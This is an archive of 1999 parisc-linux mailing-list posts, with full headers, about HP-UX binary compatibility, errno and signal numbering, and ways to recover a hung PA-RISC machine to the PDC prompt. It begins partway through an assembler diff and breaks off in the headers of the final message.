! 	.subspa $FLUFFY$,QUAD=1,ALIGN=8,ACCESS=0x2C,SORT=56
  
  	.EXPORT stext,ENTRY,PRIV_LEV=3,RTNVAL=GR
  	.EXPORT _stext,DATA,PRIV_LEV=3,RTNVAL=GR
--- 32,39 ----
  
  ;	.section .text
  
! ;	.space $DATA$
! ;	.subspa $FLUFFY$,QUAD=1,ALIGN=8,ACCESS=0x2C,SORT=56
  
  	.EXPORT stext,ENTRY,PRIV_LEV=3,RTNVAL=GR
  	.EXPORT _stext,DATA,PRIV_LEV=3,RTNVAL=GR


From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Mon, 21 Jun 1999 13:49:43 -0700 (PDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <199906212049.NAA32096@bart.allegro.com>
References: <199906211820.MAA06267@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619662 12227 80.91.229.3 (22 Nov 2014 01:27:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: mike@fast.cs.utah.edu (Mike Hibler)
Original-X-From: sieler@bart.allegro.com  Mon Jun 21 14:49:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA07628
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 14:49:52 -0600
Original-Received: (qmail 11131 invoked by uid 15267); 21 Jun 1999 20:49:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11119 invoked from network); 21 Jun 1999 20:49:12 -0000
Original-Received: from bart.allegro.com (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 20:49:12 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id NAA32096;
	Mon, 21 Jun 1999 13:49:44 -0700
In-Reply-To: <199906211820.MAA06267@fast.cs.utah.edu> from "Mike Hibler" at Jun 21, 99 12:20:14 pm
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:9612

Re:

> Yow, that is an ambitious goal!  I can see the desirability of doing it
 
Yes...I've been trying to get MPE/iX to support HP-UX binaries via this
method for a number of years, but HP hasn't shown much interest.

The reason I like it is that it removes the slightly obscene distinction
of a "linux process" vs. "HP-UX process".

(MPE/iX, which also runs on PA-RISC, and which has an internal emulator
for the Classic (CISC) HP 3000 instruction set, was originally going to
have a similar distinction: Native Mode process vs. Compatibility Mode process ...
but people pointed out, quite correctly, that a process might want
to switch from NM to CM to NM ... so a process is just a process ... the
NM/CM mode is no longer a type of process.)

What does the MPE example have to do with Linux?  Everything...what happens
when your "linux process" wants to dynamically load code from an HP-UX
library?  Or vice versa?  What about shared libraries?

Take it from someone who's been there: having a "process type" isn't
a 100% solution.  Having non-overlapping system call mechanism (either
different numbers or a different address) provides a much closer to
100% solution.  You may still need to translate things to provide
data back to an HP-UX system call (e.g., process structure for pstat?),
but that's *doable* ... and the translator method won't get that far!

-- 
Stan Sieler                                          sieler@allegro.com
                                         http://www.allegro.com/sieler/


From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Larry Dwyer <larry_dwyer@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Mon, 21 Jun 1999 14:39:29 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <3.0.3.32.19990621143929.01891a44@hpuxmail.cup.hp.com>
References: <19990620194015.J30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619662 12235 80.91.229.3 (22 Nov 2014 01:27:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: larry_dwyer@hp.com  Mon Jun 21 15:47:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA07889
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Jun 1999 15:47:10 -0600
Original-Received: (qmail 21743 invoked by uid 15267); 21 Jun 1999 21:46:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21736 invoked from network); 21 Jun 1999 21:46:31 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 21 Jun 1999 21:46:31 -0000
Original-Received: from hpuxmail.cup.hp.com (root@hpuxmail.cup.hp.com [15.0.69.78])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA27883;
	Mon, 21 Jun 1999 14:47:01 -0700 (PDT)
Original-Received: from hpldkbd1 (hpldkbd1.cup.hp.com [15.13.186.93])
	by hpuxmail.cup.hp.com (8.8.6 (PHNE_17190)/8.8.6) with SMTP id OAA13644;
	Mon, 21 Jun 1999 14:46:58 -0700 (PDT)
X-Sender: ld@hpuxmail.cup.hp.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
In-Reply-To: <19990620194015.J30362@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9613

At 07:40 PM 6/20/99 +0200, Matthew Wilcox wrote:
>
>How far do we want to or are we able to go with making constants identical
>between HPUX and Linux?
>
> ...
>The real thing which bothers me about this is that doing this means that
>HPUX and Linux are then allocating from the same numberspace, so where
>Linux has things which HPUX doesn't, HPUX might later allocate the same
>number for a different extension.
>

I would encourage converging the vector constants for Linux on PA with the
same constants for HP-UX on PA.

If there are some extra constants in Linux, I can arrange to have them
reserved in HP-UX.

Do not assume they are reserved until I post to this group (in other words,
every enq needs an ack).  It is best to send mail directly to me since I do
not read this mailing list as often as I ought to.


>(Of course, if HP want to add Linux binary compatibility to HPUX, now
>would be a great time to mention it :-)

Let's just say that we do not want to preclude binary compatibility at some
time in the future.


		Cheers,
		Larry


From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Tue, 22 Jun 1999 11:45:18 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <19990622114518.U30362@mencheca.ch.genedata.com>
References: <19990620194015.J30362@mencheca.ch.genedata.com> <3.0.3.32.19990621143929.01891a44@hpuxmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619663 12241 80.91.229.3 (22 Nov 2014 01:27:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Larry Dwyer <larry_dwyer@hp.com>
Original-X-From: Matthew.Wilcox@genedata.com  Tue Jun 22 03:45:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA08270
	for <parisc-linux@puffin.external.hp.com>; Tue, 22 Jun 1999 03:45:30 -0600
Original-Received: (qmail 9868 invoked by uid 15267); 22 Jun 1999 09:44:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9860 invoked from network); 22 Jun 1999 09:44:48 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 22 Jun 1999 09:44:48 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id LAA08182;
	Tue, 22 Jun 1999 11:45:20 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id LAA2207307;
	Tue, 22 Jun 1999 11:45:19 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10wN7G-0002A2C@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for larry_dwyer@hp.com; Tue, 22 Jun 1999 11:45:18 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <3.0.3.32.19990621143929.01891a44@hpuxmail.cup.hp.com>; from Larry Dwyer on Mon, Jun 21, 1999 at 02:39:29PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:9614

On Mon, Jun 21, 1999 at 02:39:29PM -0700, Larry Dwyer wrote:
> I would encourage converging the vector constants for Linux on PA with the
> same constants for HP-UX on PA.
> 
> If there are some extra constants in Linux, I can arrange to have them
> reserved in HP-UX.
> 
> Do not assume they are reserved until I post to this group (in other words,
> every enq needs an ack).  It is best to send mail directly to me since I do
> not read this mailing list as often as I ought to.

That's perfect.  We're pretty flexible for the moment as we don't
have any userland yet.  There are 24 error codes defined in Linux which
are not defined in HPUX.  How about reserving the block from 129-192
for Linux error numbers?

(if you're interested, these are defined in linux/asm-parisc/errno.h).

I'm not entirely sure what to do about signals.  Linux has only one signal
which HP/UX does not -- SIGSTKFLT.  As I said, I reused _SIGGFAULT as
we don't have a use for it in Linux (yet?).  What do you think is the
right thing to do here?  I'm extremely reluctant to place it after the
realtime signals, or move the realtime signals, and there aren't any gaps
(unless you count _SIGRESERVE.  hmm.. but Linux has a SIGRESERVE too,
maybe that will get used officially one day.)

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Tue, 22 Jun 1999 10:49:10 +0100 (BST)
Lines: 6
Approved: news@gmane.org
Message-ID: <E10wNB1-0006vf-00@the-village.bc.nu>
References: <19990622114518.U30362@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619663 12243 80.91.229.3 (22 Nov 2014 01:27:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:43 +0000 (UTC)
Cc: larry_dwyer@hp.com, parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Jun 22 03:50:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA08425
	for <parisc-linux@puffin.external.hp.com>; Tue, 22 Jun 1999 03:50:30 -0600
Original-Received: (qmail 10849 invoked by uid 15267); 22 Jun 1999 09:49:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10842 invoked from network); 22 Jun 1999 09:49:48 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 22 Jun 1999 09:49:48 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 10wNB1-0006vf-00; Tue, 22 Jun 1999 10:49:11 +0100
In-Reply-To: <19990622114518.U30362@mencheca.ch.genedata.com> from "Matthew Wilcox" at Jun 22, 99 11:45:18 am
Xref: news.gmane.org gmane.linux.ports.parisc:9615

> I'm not entirely sure what to do about signals.  Linux has only one signal
> which HP/UX does not -- SIGSTKFLT.  As I said, I reused _SIGGFAULT as
> we don't have a use for it in Linux (yet?).  What do you think is the

I don't think we use SIGSTKFLT either do we ...


From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HPUX binary compatibility
Date: Tue, 22 Jun 1999 12:05:29 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <19990622120529.W30362@mencheca.ch.genedata.com>
References: <19990622114518.U30362@mencheca.ch.genedata.com> <E10wNB1-0006vf-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619663 12248 80.91.229.3 (22 Nov 2014 01:27:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:43 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>, larry_dwyer@hp.com,
        parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: Matthew.Wilcox@genedata.com  Tue Jun 22 04:05:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA08862
	for <parisc-linux@puffin.external.hp.com>; Tue, 22 Jun 1999 04:05:34 -0600
Original-Received: (qmail 13100 invoked by uid 15267); 22 Jun 1999 10:04:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13085 invoked from network); 22 Jun 1999 10:04:52 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 22 Jun 1999 10:04:52 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id MAA08304;
	Tue, 22 Jun 1999 12:05:30 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id MAA2243374;
	Tue, 22 Jun 1999 12:05:29 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10wNQn-0002A2C@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Tue, 22 Jun 1999 12:05:29 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <E10wNB1-0006vf-00@the-village.bc.nu>; from Alan Cox on Tue, Jun 22, 1999 at 10:49:10AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9616

On Tue, Jun 22, 1999 at 10:49:10AM +0100, Alan Cox wrote:
> > I'm not entirely sure what to do about signals.  Linux has only one signal
> > which HP/UX does not -- SIGSTKFLT.  As I said, I reused _SIGGFAULT as
> > we don't have a use for it in Linux (yet?).  What do you think is the
> 
> I don't think we use SIGSTKFLT either do we ...

Oh, you're right.

mrw@mencheca:/usr/src/parisc/linux$ find . -type f |xargs grep SIGSTKFLT
./include/asm-arm/signal.h:#define SIGSTKFLT    16
./include/asm-i386/signal.h:#define SIGSTKFLT   16
./include/asm-m68k/signal.h:#define SIGSTKFLT   16
./include/asm-parisc/signal.h:#define SIGSTKFLT 36
./include/asm-ppc/signal.h:#define SIGSTKFLT    16

So not only don't we currently use it, the alpha, mips, sparc and sparc64
ports don't have it.  Would a patch to remove it from all architectures
be accepted, do you think?

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Kasper Petersen <mkp@socsci.auc.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Getting back to the pdc prompt from Never Never Land
Date: 24 Jun 1999 19:42:00 +0200
Organization: IC1&2, Aalborg University
Lines: 20
Approved: news@gmane.org
Message-ID: <yq1emj1ebrr.fsf@jaguar.socsci.auc.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619664 12251 80.91.229.3 (22 Nov 2014 01:27:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mkp@socsci.auc.dk  Thu Jun 24 11:41:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA00543
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Jun 1999 11:41:58 -0600
Original-Received: (qmail 2399 invoked by uid 15267); 24 Jun 1999 17:41:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2392 invoked from network); 24 Jun 1999 17:41:55 -0000
Original-Received: from bentley.socsci.auc.dk (exim@130.225.60.48)
  by mailserv2.iuinc.com with SMTP; 24 Jun 1999 17:41:55 -0000
Original-Received: from jaguar.socsci.auc.dk ([130.225.60.49] ident=root)
	by bentley.socsci.auc.dk with esmtp (Exim 2.05 #2)
	id 10xDVg-0003ff-00; Thu, 24 Jun 1999 19:42:00 +0200
Original-Received: (from mkp@localhost)
	by jaguar.socsci.auc.dk (8.9.3/8.8.8) id TAA07378;
	Thu, 24 Jun 1999 19:42:00 +0200
Original-Sender: mkp@socsci.auc.dk
Original-Lines: 19
X-Mailer: Gnus v5.6.44/XEmacs 20.4 - "Emerald"
Xref: news.gmane.org gmane.linux.ports.parisc:9617


This is mostly for the HP guys, I guess...

When experimenting with booting and such I often end up with a hanging
kernel and have to reset the box manually to get back to the pdc
prompt.

Alex told me he'd heard about a magic keystroke that blasts you back
to the pdc prompt (Just like BRK will return you to OpenBoot on a
Sun).

Anyone care to enlighten me?


PS. I'm using a serial console.

-- 
Martin Kasper Petersen			BOFH, IC1&2, Aalborg University, DK
mailto:mkp@SunSITE.auc.dk		http://SunSITE.auc.dk/~mkp/


From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard "J." Rauenzahn <rrauenza@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting back to the pdc prompt from Never Never Land
Date: Thu, 24 Jun 1999 10:55:33 -0700 (PDT)
Lines: 6
Approved: news@gmane.org
Message-ID: <199906241755.KAA20227@hairball.cup.hp.com>
References: <yq1emj1ebrr.fsf@jaguar.socsci.auc.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619664 12253 80.91.229.3 (22 Nov 2014 01:27:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: mkp@socsci.auc.dk
Original-X-From: rrauenza@cup.hp.com  Thu Jun 24 11:55:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA00716
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Jun 1999 11:55:37 -0600
Original-Received: (qmail 6091 invoked by uid 15267); 24 Jun 1999 17:55:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6084 invoked from network); 24 Jun 1999 17:55:34 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 24 Jun 1999 17:55:34 -0000
Original-Received: from hairball.cup.hp.com (hairball.cup.hp.com [15.14.120.25])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA11607
	for <parisc-linux@thepuffingroup.com>; Thu, 24 Jun 1999 13:55:26 -0400 (EDT)
Original-Received: (from rrauenza@localhost) by hairball.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA20227; Thu, 24 Jun 1999 10:55:33 -0700 (PDT)
In-Reply-To: <yq1emj1ebrr.fsf@jaguar.socsci.auc.dk> from Martin Kasper Petersen at Jun "24," 1999 "07:42:00" pm
X-Mailer: ELM [$Revision: 1.16.213.5 $]
Xref: news.gmane.org gmane.linux.ports.parisc:9618


If you have a remote access card, and its switched into service mode,
you can hit ^B.

Rich


From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:  [parisc-linux] Getting back to the pdc prompt from Never Never Land
Date: Thu, 24 Jun 1999 13:58:57 -0600 (MDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <199906241958.NAA20810@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619664 12255 80.91.229.3 (22 Nov 2014 01:27:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:44 +0000 (UTC)
To: mkp@socsci.auc.dk, parisc-linux@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Thu Jun 24 13:58:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA00998
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Jun 1999 13:58:56 -0600
Original-Received: (qmail 32602 invoked by uid 15267); 24 Jun 1999 19:58:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32595 invoked from network); 24 Jun 1999 19:58:54 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 24 Jun 1999 19:58:54 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id NAA20810;
	Thu, 24 Jun 1999 13:58:57 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:9619

> To: parisc-linux@thepuffingroup.com
> From: Martin Kasper Petersen <mkp@socsci.auc.dk>
> Date: 24 Jun 1999 19:42:00 +0200
> Subject: [parisc-linux] Getting back to the pdc prompt from Never Never Land
> 
> This is mostly for the HP guys, I guess...
> 
> When experimenting with booting and such I often end up with a hanging
> kernel and have to reset the box manually to get back to the pdc
> prompt.
> 

What is your goal here?  You want to be able to reboot the machine remotely?
Or just reboot more gracefully than by cycling power?  Or reboot with some
debug info?  Or ...?

We have a couple of techniques to help debug or recover from hangs:

We catch the TOC trap and force a crash dump and reboot.  This way you can
push the little TOC button on the front/back of the machine and have the
machine take a dump and reboot.  This approach should work very early in
the kernel boot process provided you use the PDC to do the crash dump.
This is *not* what TOC was intended for and isn't what HP-UX does, so HP
people may not approve :-)

If you have an HIL, there is a "non-maskable" interrupt you can generate
via the keyboard (shift-reset? I don't remember any more...) and then do
a similar thing.  On the 68k boxes this was a real NMI, but on the PAs its
just a plain ole interrupt so it will not work if you hang with interrupts
masked.  It also only works if the keyboard is in "cooked" mode (i.e., you
don't have X running).

You can build or buy remote power-cycling boxes which are effectively just
a switch on the power cord that you control over an rs232 line.  APC (the
UPS people) makes one of these or you can build them from components.
This is what we use for our PC test boxes.

We have also used the "packet of death" approach, sending a magic packet
over the LAN to force a reboot.  Requires that the interface be up and
running and interrupts not masked of course.


From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard "J." Rauenzahn <rrauenza@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting back to the pdc prompt from Never Never Land
Date: Thu, 24 Jun 1999 13:23:54 -0700 (PDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <199906242023.NAA22358@hairball.cup.hp.com>
References: <199906241958.NAA20810@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619665 12257 80.91.229.3 (22 Nov 2014 01:27:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:45 +0000 (UTC)
Cc: mkp@socsci.auc.dk, parisc-linux@thepuffingroup.com
To: mike@fast.cs.utah.edu
Original-X-From: rrauenza@cup.hp.com  Thu Jun 24 14:23:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA01206
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Jun 1999 14:23:53 -0600
Original-Received: (qmail 4817 invoked by uid 15267); 24 Jun 1999 20:23:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4809 invoked from network); 24 Jun 1999 20:23:50 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 24 Jun 1999 20:23:50 -0000
Original-Received: from hairball.cup.hp.com (hairball.cup.hp.com [15.14.120.25])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id QAA00744;
	Thu, 24 Jun 1999 16:23:42 -0400 (EDT)
Original-Received: (from rrauenza@localhost) by hairball.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id NAA22358; Thu, 24 Jun 1999 13:23:54 -0700 (PDT)
In-Reply-To: <199906241958.NAA20810@fast.cs.utah.edu> from Mike Hibler at Jun "24," 1999 "01:58:57" pm
X-Mailer: ELM [$Revision: 1.16.213.5 $]
Xref: news.gmane.org gmane.linux.ports.parisc:9620


> We catch the TOC trap and force a crash dump and reboot.  This way you can
> push the little TOC button on the front/back of the machine and have the
> machine take a dump and reboot.  This approach should work very early in
> the kernel boot process provided you use the PDC to do the crash dump.
> This is *not* what TOC was intended for and isn't what HP-UX does, so HP
> people may not approve :-)

I don't understand --

Are you saying HP-UX doesn't use the TOC button to cause a dump and
reboot?  That's exactly what happens on HP-UX!

Rich


From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting the Linux-Kernel....
Date: Fri, 25 Jun 1999 11:28:48 -0400
Organization: The Puffin Group
Lines: 46
Approved: news@gmane.org
Message-ID: <3773A030.C17480A9@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619665 12259 80.91.229.3 (22 Nov 2014 01:27:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Jun 25 09:19:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA02946
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Jun 1999 09:19:39 -0600
Original-Received: (qmail 4255 invoked by uid 15267); 25 Jun 1999 15:19:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4244 invoked from network); 25 Jun 1999 15:19:30 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 25 Jun 1999 15:19:30 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id LAA04569
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Jun 1999 11:28:48 -0400
